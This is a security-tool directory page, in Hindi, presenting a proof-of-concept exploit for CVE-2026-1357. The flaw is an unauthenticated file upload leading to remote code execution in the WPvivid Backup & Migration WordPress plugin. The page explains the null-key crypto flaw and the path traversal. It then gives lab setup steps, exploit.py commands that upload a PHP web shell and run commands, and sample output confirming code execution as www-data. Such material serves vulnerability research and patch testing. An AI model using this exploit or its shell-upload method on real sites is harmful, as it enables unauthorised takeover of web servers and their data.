Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-1357 — CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 अप्रमाणित RCE एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/halilkirazkaya/cve-2026-1357
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubhalilkirazkaya/cve-2026-1357

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 अप्रमाणित RCE एक्सप्लॉइट

रिपॉजिटरी देखें
1435 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-1357 — WPvivid Backup & Migration RCE

बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड → रिमोट कोड निष्पादन

फ़ील्डमान
CVECVE-2026-1357
CVSS9.8 (गंभीर)
प्लगइनWPvivid Backup & Migration
प्रभावित≤ 0.9.123
पैच किया गया0.9.124
खोजकर्ताLucas Montes (NiRoX)
PoC द्वाराhalilkirazkaya

अवलोकन

WPvivid Backup & Migration प्लगइन (≤ 0.9.123) में एक गंभीर कमजोरी है जो एक बिना प्रमाणीकरण वाले हमलावर को सर्वर पर मनमानी PHP फ़ाइलें अपलोड करने की अनुमति देती है, जिससे रिमोट कोड निष्पादन (RCE) होता है।

शोषण श्रृंखला दो बगों को जोड़ती है:

1. क्रिप्टोग्राफिक फेल-ओपन

प्लगइन wpvivid_action=send_to_site हुक के माध्यम से रिमोट बैकअप ट्रांसफ़र को संभालता है। सत्र कुंजी को डिक्रिप्ट करते समय, openssl_private_decrypt() एक दोषपूर्ण RSA कुंजी के लिए false लौटाता है। प्लगइन इस रिटर्न वैल्यू की जाँच नहीं करता और false को phpseclib v1 के Crypt_Rijndael को भेज देता है, जो इसे CBC मोड और शून्य IV के साथ 16-बाइट शून्य कुंजी (\x00 × 16) के रूप में मानता है।

2. पाथ ट्रैवर्सल

डिक्रिप्टेड JSON पेलोड में name पैरामीटर सैनिटाइज़ नहीं किया गया है। एक हमलावर प्रतिबंधित बैकअप निर्देशिका के बाहर सार्वजनिक रूप से सुलभ wp-content/uploads/ निर्देशिका में PHP फ़ाइल लिखने के लिए ../ अनुक्रमों का उपयोग कर सकता है।

बाधा

wpvivid_api_token प्लगइन सेटिंग्स में जनरेट किया गया होना चाहिए और उसकी समय-सीमा समाप्त नहीं हुई होनी चाहिए।


सेटअप

1. असुरक्षित प्लगइन डाउनलोड करें

WPvivid Backup & Migration v0.9.123 (असुरक्षित संस्करण) डाउनलोड और एक्सट्रैक्ट करें:

root@kitploit:~
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip

इससे wpvivid-backuprestore/ निर्देशिका बनेगी जिसे docker-compose.yml के माध्यम से Docker कंटेनर में माउंट किया जाता है।

2. लैब वातावरण प्रारंभ करें

root@kitploit:~
docker compose up -d

3. WordPress कॉन्फ़िगर करें

  1. http://localhost खोलें और WordPress स्थापना पूर्ण करें।
  2. प्लगइन्स → इंस्टॉल किए गए प्लगइन्स पर जाएँ और WPvivid Backup & Migration को सक्रिय करें।
  3. WPvivid → सेटिंग्स → ऑटो-माइग्रेशन पर जाएँ और एक कुंजी बनाने के लिए Generate पर क्लिक करें (यह असुरक्षित कोड पथ को सक्षम करता है)।

4. निर्भरताएँ स्थापित करें

root@kitploit:~
pip install -r requirements.txt

उपयोग

root@kitploit:~
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c

# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s

# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"

उदाहरण आउटपुट (चेक मोड)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Check
[*] Upload path  : ../uploads/h8xq9b3v2z1c.txt

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.

उदाहरण आउटपुट (शेल मोड)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Shell
[*] Upload path  : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd   : id

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

संदर्भ

  • Wordfence सलाह
  • LucasM0ntes द्वारा मूल PoC

अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। जिम्मेदारी से उपयोग करें।

टूल डाउनलोड करें